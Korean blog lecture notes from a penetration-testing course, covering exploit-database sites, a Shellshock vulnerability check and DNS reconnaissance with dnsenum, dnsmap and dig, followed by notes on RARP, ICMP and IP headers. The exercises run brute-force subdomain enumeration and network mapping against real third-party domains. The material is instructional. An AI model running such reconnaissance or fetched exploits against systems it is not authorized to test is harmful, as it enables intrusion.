■ 용어(Term)

정보(Information)?
● 의미가 있는 데이터(DATA)

정보 검색이란?
● 자신이 원하는 정보(자료)를 여러가지 검색도구를 사용하여 찾아내어 활용하는 과정이다.

인터넷 검색엔진(Search Engine)이란?
● 1993년 이후 비약적인 발전
● 전문인 뿐만 아니라 일반인에게도 친숙한 정보 제공 수단


■ 정보 수집 과정의 종류
● 검색 엔진을 사용하는 경우(EX: 구글링)- 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com)- 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
● DNS 서버를 사용하는 경우(EX: dnsenum)
● 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
● 스캐너를 사용하는 방법- 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)- 취약점 스캐너를 사용하는 방법(EX: Nessus/OpenVAS/Nexpose)



    ■ 정보 수집 과정의 종류
    □ 검색 엔진을 사용하는 경우(EX: 구글링)        □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com)        □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
    □ DNS 서버를 사용하는 경우(EX: dnsenum)
    □ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
    □ 스캐너를 사용하는 방법        □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)        □ 취약점 스캐너를 사용하는 방법(EX: Nessus/OpenVAS/Nexpose)


■ 정보를 검색할 수 있는 전문 사이트

□ Securecast
● http://securecast.co.kr
● 1999년 부터 축적되어온 정보보호 관련 데이터 베이스 서비스
● 국내 최초/최대의 유료 컨텐츠 제공 서비스
● 웹, 전세계 취약점, 웜바이러스, 홈페이지 위변조 정보, 악성코드 유포지 정보, 위협 예보 및 경보등 정보보호 Portal의 기능을 갖춘 강력한 서비스

□ MAPP(Microsft Active Protection Program)
● http://www.microsoft.com/security/msrc/default.aspx
● 2009년 부터 국내에 도입된 마이크로소프트 관련 제로데이 취약점을 신속히 패치 하기 위한 커뮤니티
● 국내에서는 2009년 Nowcom이 최초 가입되어 현재 다수의 가입기관이 활동 중임

□ Milw0rm
● http://www.milw0rm.com
● (최근에 사이트가 변경됨: 1337day.com) -> 최근에 URL 사라짐
● 취약성 코드(Exploit) 직접적으로 게제하는 사이트로서 최신의 취약성을 이용한 공격들과 실제 해킹 소스 코드들이 공개되는 곳이다.

□ Explit DB
● http://www.exploit-db.com
● Milw0rm을 대신하는 악성코드 데이터 베이스

□ Security Focus
● http://www.securityfocus.com
● 보안에 관련된 newspaper, magazine, on-line article을 대상으로 광범위한 망라적인 주제 브라우징이 가능
● 보안 관련 포탈 사이트

□ Packetstorm
● http://packetstormsecurity.org
● 보안 관련된 프로그램, 패치 정보 최근 이슈에 관한 정보 제공
● 운영체제별 취약성 정보 및 보안 경고(Security Alert) 정보 제공

□ Krcert
● http://www.krcert.or.kr/index.jsp
● 인터넷 보안취약성에 대한 연구
● 컴퓨터 보안사고 관리
● Securly Alert 출간
● 네트워크 및 시스템 관련 장기 프롲\

□ zone–h
● http://www.zone-h.org
● 해커그룹에 의한 전세계 홈페이지 해킹 통계 및 미러 페이지를 볼수 있는 곳
● 운영체제 별 전세계 해킹 취약 요소원에 대한 비율도 게재

■ OWASP
● http://www.owasp.org/index.php/Main_Page
● 매년 웹 공격에 관한 통계와 신기술들을 규격화 하여 10대 취약점을 발표하고 관리하는 사용자들의 모임
● 중요한 웹 공격에 대한 자료 및 웹 서버 코딩 가이드 제공
● Webgoat라는 모의 해킹용 테스트 베드 프로그램 제공

■ Metasploit
● http://www.metasploit.com
● 무료 모의 해킹 테스트(Penetration Tools)로 사용되며 python을 이용한 전세계 사용자들의 스크립트 툴킷으로 애용되는 툴을 배포 및 공동 연구

■ CodeBreakers
● http://www.codebreakers-journal.com
● Anti-debugging 등의 최신 해킹 기술 기고 및 다양한 해킹 관련 정보들을 제공




[실습] 아래 사이트에서 적당한 코드를 찾아 자신의 시스템을 공격한다.
http://www.exploit-db.com
http://www.1337day.com
http://www.shell-storm.org
http://www.smashthestack.org




■ CentOS
# yum -y install gcc
# gcc -o test test.c
# ./test


[실습] 쉘버그(bash shell bug)에 대해서

용어 : Zero Day Attack (0 Day Attack)

① exploit db 사이트에 접속하여 정보를 검색 shellshock에 대한 정보 검색
http://www.exploit-db.com

② 오른쪽 상단의 "Search" 선택한다.

③ Title 부분에 bash 입력
-> "Title: bash "

2014-09-25     GNU Bash - Environment Variable Command Injection (ShellShock)

Exploit Database Note:
The following is an excerpt from: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
 
Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable). Something like:
 
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 vulnerable
 this is a test
 
The patch used to fix this flaw, ensures that no code is allowed after the end of a bash function. So if you run the above example with the patched version of bash, you should get an output similar to:
 
 $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 this is a test


■ 관련된 정보
■ bash shell function
    # a() { CMD; CMD; CMD; }
    # a
    # typeset -f
    # unset -f a
■ env
    # env
    # env LANG=C CMD

■ bash -c CMD
    # bash -c date
    # bash -c cal

    #  while ;
    do
        CMD
    done

■ (bash 쉘 버그가 존재하는 상태)
# bash --version

GNU bash, version 3.2.25(1)-release (i686-redhat-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.


# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

vulnerable
this is a test


■ (bash 쉘 버그가 존재하지 않는 상태)
# yum -y install bash

.... (중략) .....
===================================================================================
 Package        Arch           Version                     Repository         Size
===================================================================================
Updating:
 bash           i386           3.2-33.el5_11.4             updates           1.8 M

Transaction Summary
===================================================================================
Install       0 Package(s)
Upgrade       1 Package(s)

Total download size: 1.8 M
Downloading Packages:
bash-3.2-33.el5_11.4.i386.rpm                               | 1.8 MB     00:01    
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
  Updating       : bash                                                        1/2
  Cleanup        : bash                                                        2/2

Updated:
  bash.i386 0:3.2-33.el5_11.4                                                     

Complete!


# bash --version

GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.


# telnet localhost
root 사용자로 로그인

# bash --version

GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.


# exit
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

this is a test


# reboot

부팅이 된 이후에 root 사용자로 로그인한다.
# bash --version

GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu)
Copyright (C) 2005 Free Software Foundation, Inc.

    ■ 정보 수집 과정의 종류
    □ 검색 엔진을 사용하는 경우(EX: 구글링)        □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com)        □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
    □ DNS 서버를 사용하는 경우(EX: dnsenum CMD)
    □ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
    □ 스캐너를 사용하는 방법        □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)        □ 취약점 스캐너를 사용하는 방법(EX: Nessus/OpenVAS/Nexpose)


■ 정보 수집(Data Gathering)에 대한 체계


어떤 방법을 통해 정보를 수집할 것인가?


● DNS 정보 수집
● 네트워크 정보 수집
● 호스트 정보 수집
● OS 정보 수집


● 서비스 목록화
● 네트워크 범위 파악
● 활성화된 머신 식별
● 개방 포트 탐색
● 운영체제 식별
● 서비스 식별
● 말테고를 이용한 위협 평가
● 네트워크 매핑

모의 해킹을 할 때 가장 중요한 단계 중 하나는 정보 수집이다. 공격을 실행하기 위해서는 공격 대상에 대한 기본 지식을 수집해야 한다. 따라서 더 먾은 정보를 수집할수록 공격 가능성이 높아진다.





[실습] DNS 정보 수집

■ NS(Name Server) 사용하여 정보를 수집하는 대표적인 명령어
● dnsenum CMD
● dnsmap CMD
● dnswalk CMD


[실습1] 구글맵 + 후이즈(Whois) 데이터베이스

(원본 운영체제) Windows 7
C:\>nslookup www.soldesk.com

서버:    ns.dacom.co.kr
Address:  164.124.101.2

권한 없는 응답:
이름:    www.soldesk.com
Address:  183.111.174.9


아래 사이트에 접속하여
http://whois.kisa.or.kr/kor/
-> 검색: "183.111.174.9"


[참고] IP 주소 추적에 대한 오해
한국인터넷진흥원은 ISP(인터넷서비스 제공자) 등에게 IP 주소를 할당하고 관리하는 인터넷주소자원관리기관 입니다. IP 주소는 할당 체계에 따라 한국인터넷진흥원이 ISP에게 할당하며 ISP는 가입자에게 재 할당 합니다.

WHOIS 서비스를 통해 제공되는 IP주소 할당 정보는 ISP가 직접 등록한 정보로, 한국인터넷진흥원은 WHOIS 서비스에서 제공되는 범위 이상의 정보(IP주소 추적 정보 등)를 보유하고 있지 않습니다. 따라서, IP주소 최종 사용자에 대한 정보는 해당 IP주소를 서비스하는 ISP에서만 확인 가능하며, WHOIS 서비스를 통해서는 확인이 불가능합니다.

IP주소 추적은 수사기관 등이 법원의 허가를 받아 ISP 등에 통신자료 제공을 요청할 경우에만 가능하며, 수사기관이 아닌 일반인이 IP주소를 추적하는 것은 사실상 불가능 합니다.


아래 사이트에 접속하여
http://www.ipconfig.kr/
-> 검색: "183.111.174.9"
-> 상대 IP 위치를 확인한다.
-> 자신 IP 위치 및 정보를 확인한다.





[실습2] dnsenum CMD

■ dnsenum 개요

Multithreaded perl script to enumerate DNS information of a domain and to discover non-contiguous ip blocks.

OPERATIONS:

Get the host’s addresse (A record).
Get the namservers (threaded).
Get the MX record (threaded).
Perform axfr queries on nameservers and get BIND VERSION (threaded).
Get extra names and subdomains via google scraping (google query = “allinurl: -www site:domain”).
Brute force subdomains from file, can also perform recursion on subdomain that have NS records (all threaded).
Calculate C class domain network ranges and perform whois queries on them (threaded).
Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).
Write to domain_ips.txt file ip-blocks.

● 구글 검색 엔진을 이용해 네임과 서브도메인(하위 도메인)을 추가적으로 검색한다.
● 사전파일(사전공격)에 나온 네임을 브루트포스 방식으로 시도하면서 서브도메인 네임을 알아낸다.   백트랙의 dnsenum에는 95개의 서브도메인 네임이 포함된 dns.txt파일이 제공된다.
● C 클래스 도메인 네트워크 범위에서 후이즈 질의를 수행한 후 타겟의 네트워크 범위를 계산한다.
● 네트워크 범위를 대상으로 리버스 검색을 수행한다.
● 여러 개의 질의를 수행하기 위해 쓰레드를 사용한다.


■ 소스코드 다운로드
https://github.com/fwaeytens/dnsenum

(KaliLinux)

① dnsenum 명령어 사용법 확인
# dnsenum --help

dnsenum.pl VERSION:1.2.3
Usage: dnsenum.pl [Options] <domain>
[Options]:
Note: the brute force -f switch is obligatory.
GENERAL OPTIONS:
  --dnsserver     <server>
            Use this DNS server for A, NS and MX queries.
  --enum        Shortcut option equivalent to --threads 5 -s 15 -w.
  -h, --help        Print this help message.
  --noreverse        Skip the reverse lookup operations.
  --nocolor        Disable ANSIColor output.
  --private        Show and save private ips at the end of the file domain_ips.txt.
  --subfile <file>    Write all valid subdomains to this file.
  -t, --timeout <value>    The tcp and udp timeout values in seconds (default: 10s).
  --threads <value>    The number of threads that will perform different queries.
  -v, --verbose        Be verbose: show all the progress and all the error messages.
GOOGLE SCRAPING OPTIONS:
  -p, --pages <value>    The number of google search pages to process when scraping names,
            the default is 5 pages, the -s switch must be specified.
  -s, --scrap <value>    The maximum number of subdomains that will be scraped from Google (default 15).
BRUTE FORCE OPTIONS:
  -f, --file <file>    Read subdomains from this file to perform brute force.
  -u, --update    <a|g|r|z>
            Update the file specified with the -f switch with valid subdomains.
    a (all)        Update using all results.
    g        Update using only google scraping results.
    r        Update using only reverse lookup results.
    z        Update using only zonetransfer results.
  -r, --recursion    Recursion on subdomains, brute force all discovred subdomains that have an NS record.
WHOIS NETRANGE OPTIONS:
  -d, --delay <value>    The maximum value of seconds to wait between whois queries, the value is defined randomly, default: 3s.
  -w, --whois        Perform the whois queries on c class network ranges.
             **Warning**: this can generate very large netranges and it will take lot of time to performe reverse lookups.
REVERSE LOOKUP OPTIONS:
  -e, --exclude    <regexp>
            Exclude PTR records that match the regexp expression from reverse lookup results, useful on invalid hostnames.
OUTPUT OPTIONS:
  -o --output <file>    Output in XML format. Can be imported in MagicTree (www.gremwell.com)


② dns 검색
# dnsenum google.com

dnsenum.pl VERSION:1.2.3

-----   google.com   -----


Host's addresses:
__________________

google.com.                              5        IN    A        216.58.221.238


Name Servers:
______________

ns1.google.com.                          5        IN    A        216.239.32.10
ns2.google.com.                          5        IN    A        216.239.34.10
ns3.google.com.                          5        IN    A        216.239.36.10
ns4.google.com.                          5        IN    A        216.239.38.10


Mail (MX) Servers:
___________________

aspmx.l.google.com.                      5        IN    A        64.233.189.26
alt1.aspmx.l.google.com.                 5        IN    A        74.125.25.27
alt2.aspmx.l.google.com.                 5        IN    A        64.233.169.27
alt3.aspmx.l.google.com.                 5        IN    A        74.125.135.27
alt4.aspmx.l.google.com.                 5        IN    A        173.194.219.26


Trying Zone Transfers and getting Bind Versions:
_________________________________________________


Trying Zone Transfer for google.com on ns4.google.com ...
AXFR record query failed: RCODE from server: REFUSED

Trying Zone Transfer for google.com on ns3.google.com ...
AXFR record query failed: RCODE from server: REFUSED

Trying Zone Transfer for google.com on ns1.google.com ...
AXFR record query failed: RCODE from server: REFUSED

Trying Zone Transfer for google.com on ns2.google.com ...
AXFR record query failed: RCODE from server: REFUSED

brute force file not specified, bay.


# dnsenum --dnsserver 8.8.8.8 --enum --noreverse -f /usr/share/dnsenum/dns.txt google.com

dnsenum.pl VERSION:1.2.3
Warning: can't load Net::Whois::IP module, whois queries disabled.

-----   google.com   -----


Host's addresses:
__________________

google.com.                              299      IN    A        59.18.49.172
google.com.                              299      IN    A        59.18.49.153
google.com.                              299      IN    A        59.18.49.178
google.com.                              299      IN    A        59.18.49.148
google.com.                              299      IN    A        59.18.49.163
google.com.                              299      IN    A        59.18.49.187
google.com.                              299      IN    A        59.18.49.152
google.com.                              299      IN    A        59.18.49.173
google.com.                              299      IN    A        59.18.49.162
google.com.                              299      IN    A        59.18.49.183
google.com.                              299      IN    A        59.18.49.168
google.com.                              299      IN    A        59.18.49.157
google.com.                              299      IN    A        59.18.49.182
google.com.                              299      IN    A        59.18.49.167
google.com.                              299      IN    A        59.18.49.177
google.com.                              299      IN    A        59.18.49.158


Name Servers:
______________

ns2.google.com.                          21599    IN    A        216.239.34.10
..... (중략) .....

-> 많은 정보가 출력된다.

# dnsenum --dnsserver 8.8.8.8 --enum --noreverse -f /usr/share/dnsenum/dns.txt soldesk.com

dnsenum.pl VERSION:1.2.3
Warning: can't load Net::Whois::IP module, whois queries disabled.

-----   soldesk.com   -----


Host's addresses:
__________________

soldesk.com.                             3599     IN    A        183.111.174.9


Wildcard detection using: dqfemjhcfxgl
_______________________________________

dqfemjhcfxgl.soldesk.com.                3599     IN    A        183.111.174.9


!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 Wildcards detected, all subdomains will point to the same IP address
 Omitting results containing 183.111.174.9.
 Maybe you are using OpenDNS servers.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!


Name Servers:
______________

ns1.doregi.com.                          1683     IN    A        58.76.184.11
ns2.doregi.com.                          1058     IN    A        58.76.184.12
ns3.doregi.com.                          2643     IN    A        1.214.210.186
..... (중략) .....


    [참고] subfile 지정하는 방법
    # dnsenum --dnsserver 8.8.8.8 \
    --enum --noreverse \
    -f /usr/share/dnsenum/dns.txt \
    --subfile ~/Desktop/dns2.txt soldesk.com

[과제] 여러가지 도메인에 대해서 dnsenum 명령어를 수행해 보자.(3분)
● google.com
● example.com
● kornet.net
● soldesk.com

# dig @8.8.8.8 soldesk.com ANY

; <<>> DiG 9.9.5-9+deb8u3-Debian <<>> @8.8.8.8 soldesk.com ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35479
;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;soldesk.com.            IN    ANY

;; ANSWER SECTION:
soldesk.com.        3599    IN    MX    10 soldesk-com.mail.protection.outlook.com.
soldesk.com.        3599    IN    TXT    "v=spf1 include:spf.protection.outlook.com ~all"
soldesk.com.        3599    IN    A    183.111.174.9
soldesk.com.        3599    IN    SOA    ns1.doregi.com. root.doregi.com. 8 3600 600 604800 3600
soldesk.com.        3599    IN    NS    ns2.doregi.com.
soldesk.com.        3599    IN    NS    ns3.doregi.com.
soldesk.com.        3599    IN    NS    ns1.doregi.com.
..... (중략) .....


    [참고] dig CMD 사용법 예제
    # dig @168.126.63.1 kornet.net ANY
    # dig @168.126.63.1 kornet.net MX
    # dig @168.126.63.1 kornet.net NS
    # dig @168.126.63.1 kornet.net A
    # dig @168.126.63.1 kornet.net PTR


[과제] 여러가지 도메인에 대해서 dig 명령어를 수행해 보자.(3분)
● google.com
● example.com
● kornet.net
● soldesk.com
[실습3] dnsmap CMD

■ dnsmap 개요
dnsmap was originally released back in 2006 and was inspired by the fictional story “The Thief No One Saw” by Paul Craig, which can be found in the book “Stealing the Network – How to 0wn the Box”.

dnsmap is mainly meant to be used by pentesters during the information gathering/enumeration phase of infrastructure security assessments. During the enumeration stage, the security consultant would typically discover the target company’s IP netblocks, domain names, phone numbers, etc …

Subdomain brute-forcing is another technique that should be used in the enumeration stage, as it’s especially useful when other domain enumeration techniques such as zone transfers don’t work (I rarely see zone transfers being publicly allowed these days by the way).

● 사전 파일을 이용해 하위 도메인의 존재를 확인한다.
● 하위 도메인를 빠른 속도로 수집하기 때문에 매우 적합한 도구이다.
● dnsenum, dnswalk 같은 툴도 유사한 방식으로 하위 도메인 정보를 획득한다.

● KaliLinux > Information Gathering > DNS Anlysis > dnsmap

■ 소스코드 다운로드
● http://code.google.com/p/dnsmap/

(KaliLInux)

① dnsenum 명령어 사용법 확인
# dnsmap

dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

usage: dnsmap <target-domain> [options]
options:
-w <wordlist-file>
-r <regular-results-file>
-c <csv-results-file>
-d <delay-millisecs>
-i <ips-to-ignore> (useful if you're obtaining false positives)

e.g.:
dnsmap target-domain.foo
dnsmap target-domain.foo -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap target-fomain.foo -r /tmp/ -d 3000
dnsmap target-fomain.foo -r ./domainbf_results.txt


# dnsmap google.com

dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for google.com using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

accounts.google.com
IPv6 address #1: 2404:6800:4004:813::200d

accounts.google.com
IP address #1: 216.58.220.173

admin.google.com
IPv6 address #1: 2404:6800:4008:c05::64

admin.google.com
IP address #1: 59.18.44.54
IP address #2: 59.18.44.55
IP address #3: 59.18.44.59
IP address #4: 59.18.44.20
IP address #5: 59.18.44.24
IP address #6: 59.18.44.25
IP address #7: 59.18.44.29
IP address #8: 59.18.44.30
IP address #9: 59.18.44.34
IP address #10: 59.18.44.35
IP address #11: 59.18.44.39
IP address #12: 59.18.44.40
IP address #13: 59.18.44.44
IP address #14: 59.18.44.45
IP address #15: 59.18.44.49
IP address #16: 59.18.44.50

ap.google.com
IPv6 address #1: 2404:6800:400a:805::2004

..... (중략) .....

yp.google.com
IP address #1: 59.18.44.34
IP address #2: 59.18.44.35
IP address #3: 59.18.44.39
IP address #4: 59.18.44.40
IP address #5: 59.18.44.44
IP address #6: 59.18.44.45
IP address #7: 59.18.44.49
IP address #8: 59.18.44.50
IP address #9: 59.18.44.54
IP address #10: 59.18.44.55
IP address #11: 59.18.44.59
IP address #12: 59.18.44.20
IP address #13: 59.18.44.24
IP address #14: 59.18.44.25
IP address #15: 59.18.44.29
IP address #16: 59.18.44.30

[+] 114 (sub)domains and 770 IP address(es) found
[+] completion time: 612 second(s)

-> dnsmap을 실행하면 사전 파일에 있는 문자열과 도메인을 비교한다.
-> 비교한 결과 내용은 순서대로 DNS 쿼리를 요청하여 응답이 오는 내용에 대해서만 IP와 같이 출력
   한다.
-> 출력된 결과는 현재 등록된 도메인과 하위 도메인이다.
-> (주의) 검색할 도메인의 종류에 따라 오랜 시간이 걸린다.

[과제] 여러가지 도메인에 대해서 dnsmap 명령어를 수행해 보자.(3분)
● google.com
● example.com
● kornet.net
● soldesk.com


[과제] dnsenum/dnsmap/dig 명령어의 출력 내용에 traceroute 명령어를 사용하여 대상 시스템의 DMZ 네트워크 맵을 그려보자.(10분)
-> 상용사이트(작은 사이트) 하나를 선정한다.
-> traceroute(visualroute) 사용하여 대상 시스템의 DMZ 네트워크 맵을 그린다.
-> !!!! 반드시 수동으로 작업해 주세요. !!!!





'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160620 정보수집단계  (0) 2016.06.20
20160617 정보수집단계  (0) 2016.06.18
20160615 네트워크이론  (0) 2016.06.15
20160614 네트워크이론  (0) 2016.06.15
20160613 네트워크이론  (0) 2016.06.14
Posted by 22Hz
, |


8
 RARP(Reverse Address Resolution Protocol)



RARP는 근거리통신망 내에 물리적으로 존재하는 장치가 게이트웨이의 ARP 목록이나 캐시로부터 자신의 IP 주소를 알아내기 위한 확인 요청을 하는데 사용되는 프로토콜이다. 네트웍 관리자는 근거리통신망의 게이트웨이 라우터 내에 물리적인 장치가 그에 상응하는IP주소를 지칭하도록 목록표를 작성한다. 새로운 장치가 설정되었을 때, RARP 클라이언트 프로그램은 라우터 상의 RARP 서버에게 그 장치를 위한 IP 주소를 보내주도록 요청한다. RARP 서버는 라우터 목록 내에 새로운 엔트리가 설정되었다고 가정하여, 그 장치에게 IP주소를 답신해 주게 된다.
RARP는 이더넷, FDDI, 토큰링 등의 근거리통신망에서 사용할 수 있는 프로토콜이다.

MAC => IP

■ 대표적인 RARP 사용 클라이언트
• Diskless Client(Hardless Client)

[참고] PXE Boot(클라이언트) + DHCP(서버)



9
 인터넷 계층(Internet Layer)



인터넷 계층의 중요한 기능은 네트워크 통신을 위해 데이터그램을 잘 전송할수 있도록 하기 위해 라우팅 정보를 담는것이다. 또한 MTU 단위로 데이터 그램을 쪼개거나 쪼개진 패킷을 재조합하는 기능을 가진다. 인터넷 계층의 프로토콜은 ARP, RARP, IP(IPv4,IPv6), ICMP, IGMP가 존재한다. 하지만 이 단원에서는 IP, ICMP에 관해서만 다룬다.


 
(1). IP 프로토콜(Internet Protocol)
 
인터넷상에서 라우팅을 효율적으로 하기 위하여 물리적인 네트웍 주소와 일치하는 개념으로 부여된 32 비트의 주소가 IP 주소이다. IP 주소를 이용하면 네트웍상의 유일한 호스트를 식별하는 것뿐만 아니라, 호스트가 있는 네트웍를 식별할 수 있다. IP 주소는 클래스로 나뉘어 있으며 하나의 네트웍에서 모든 호스트는 동일한 prefix를 공유한다.
 
다음은 ifconfig 명령어를 사용하여 IP를 확인하는 예이다. IP와 관련한 값인 넷마스크(Netmask)와 브로드캐스트(Broadcast)주소도 확인 할 수 있다.

# ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:0C:29:05:B8:34 
          inet addr:192.168.20.200  Bcast:192.168.20.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:65025 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6822 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:77595227 (74.0 MiB)  TX bytes:473577 (462.4 KiB)
          Interrupt:67 Base address:0x2024

 
 
(2). ICMP(Internet Control Messages Protocol)
 
ICMP는 호스트 서버와 인터넷 게이트웨이 사이에서 메시지를 제어하고 에러를 알려주는 프로토콜로서 RFC 792에 정의되어있다. ICMP는 IP 데이터그램을 사용하지만, 메시지는 TCP/IP 소프트웨어에 의해 처리되며, 응용프로그램 사용자에게 직접 분명하게 보이지는 않는다. 일례로서, ping 명령어는 인터넷 접속을 테스트하기 위해 ICMP를 사용한다.

ICMP 프로토콜을 사용하는 대표적인 명령어는 다음과 같다.
● ping CMD(Packet INternet Groper)
● traceroute CMD
 

ICMP Message Type
● 오류보고 메시지(Error Reporting Messages)
    Type 3 : 목적지 도달 불가
    Type 4 : 발신지 억제
    Type 5 : 경로 재지정
    Type 11: 시간 초과
    Type 12: 매개변수 문제

● 질의 메시지(Query Messages)
    Type 8 : Echo Request
    Type 0 : Echo Reply
    Type 9 : Router 광고
    Type 10: Router 요청
    Type 13: Timestamp Request
    Type 14: Timestamp Reply
    Type 15: IP 정보 요구(구형)
    Type 16: IP 정보 응답(구형)
    Type 17: 주소마스크 요구
    Type 18: 주소마스크 응답



(3) ICMP 헤더 분석


                                                              +-----------------+
                    +-------------------------+              |                 |
                    |         ICMP            |              | ICMP/IGMP       |
         +----------+-----------+-------------+               |                 |
         |IP Header |                         |               |     IP          |
         +----------+-----------+-------------+               |                 |
                                                              |       ARP/RARP  |
                                                              |                 |
                                                              +-----------------+
+--------+----------+-----------+-------------+--------+      |                 |
| Ether  |IP Header |         ICMP            |   CRC  |      |Network Interface|
| Header |          |                           |        |      |                 |
+--------+----------+-----------+-------------+--------+      +-----------------+



            [그림] ICMP Encapsulation in IP Datagram




    +------------+------------+---------------------------------+
    |   Type     |    Code    |    Checksum                   |
    +-----------------------------------------------------------+
    |                Type 별로 다른 부분                    |
    +-----------------------------------------------------------+
    |                          데이터                            |
    +-----------------------------------------------------------+


                [그림] ICMP Header




        1Bytes       1Bytes                  2Bytes
    |<---------->|<---------->|<------------------------------->|
    +------------+------------+---------------------------------+
    |   Type=8   |   Code=0   |    Checksum                       |
    +-----------------------------------------------------------+
    |       Identifier        |    Sequence Number                  |
    +-----------------------------------------------------------+
    |                          데이터                              |
    +-----------------------------------------------------------+


            [그림] ICMP Echo Request




        1Bytes       1Bytes                  2Bytes
    |<---------->|<---------->|<------------------------------->|
    +------------+------------+---------------------------------+
    |   Type=0   |   Code=0   |    Checksum                       |
    +-----------------------------------------------------------+
    |       Identifier        |    Sequence Number                 |
    +-----------------------------------------------------------+
    |                          데이터                             |
    +-----------------------------------------------------------+


            [그림] ICMP Echo Reply
[실습] ICMP 패킷을 캡쳐하고 분석


[실습] visualroute(www.visualroute.com) 사용하기


[참고] ICMP(RFC 792)
- http://www.ietf.org/rfc/rfc0792.txt



(3). IP 헤더 분석

                    +-------------------------+               +-----------------+
                    | TCP Segment or Datagram |               |  TCP    |  UDP  |
                    +-------------------------+               |         |       |
                                                             +-----------------+
                                                              |                 |
                                                              | ICMP/IGMP       |
         +----------+-------------------------+               |                 |
         |IP Header | TCP Segment or Datagram |               |     IP          |
         +----------+-------------------------+               |                 |
                                                              |       ARP/RARP  |
                                                              |                 |
                                                              +-----------------+
+--------+----------+-------------------------+--------+      |                 |
| Ether  |IP Header | TCP Segment or Datagram |   CRC  |      |Network Interface|
| Header |          |                         |        |      |                 |
+--------+----------+-------------------------+--------+      +-----------------+


        [그림] IP Encapsulation in  Ethernet II Frame
 



        0                   1                   2                   3  
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |Version|  IHL  |Type of Service|          Total Length             |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |         Identification        |Flags|      Fragment Offset    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |  Time to Live |    Protocol   |         Header Checksum       |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                       Source Address                          |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                     Destination Address                       |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Options                      |    Padding    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


                [그림] IP Datagram Header
[실습] IP 헤더 분석을 캡쳐하고 분석
-> ICMP Echo Request 패킷을 가지고 작업한다.



[참고] IP Header 해석
■ Version(4 bits)       
● IPv4 -> 4, IPv6 -> 6
● IANA 버전 관리 - Version Numbers

■ IP Header Length(4 bits)
● IP 헤더의 길이는 20 bytes ~ 60bytes 이다.

■ Type Of Service(8 bits)
● IP Datagram이 라우터에서 어떻게 처리되어야 하는지를 정의
● 요구되는 서비스 품질을 나타냄, 현재 대부분의 시스템에서는 이 필드를 무시.
● OSPF는 이 값을 바탕으로 경로 선택이 가능하게 함.
(예) TOS(Type Of Service) 예
    -------------------------------------------------
    IP:         ...0 .... = normal delay
    IP:         .... 0... = normal throughput
    IP:         .... .0.. = normal reliability
    IP:         .... ..0. = not ECN capable transport
    -------------------------------------------------

    ------------------------------------------------
         Priability - Current, Not used
         Delay      - 1 : Minimum delay (최소 지연)
         Throughput - 1 : Maximum throughput (최대 처리율)
         Reliablity - 1 : Maximum reliablity (최대 신뢰성)
         Transport  - 1 : Mimimum cost (최소 비용)
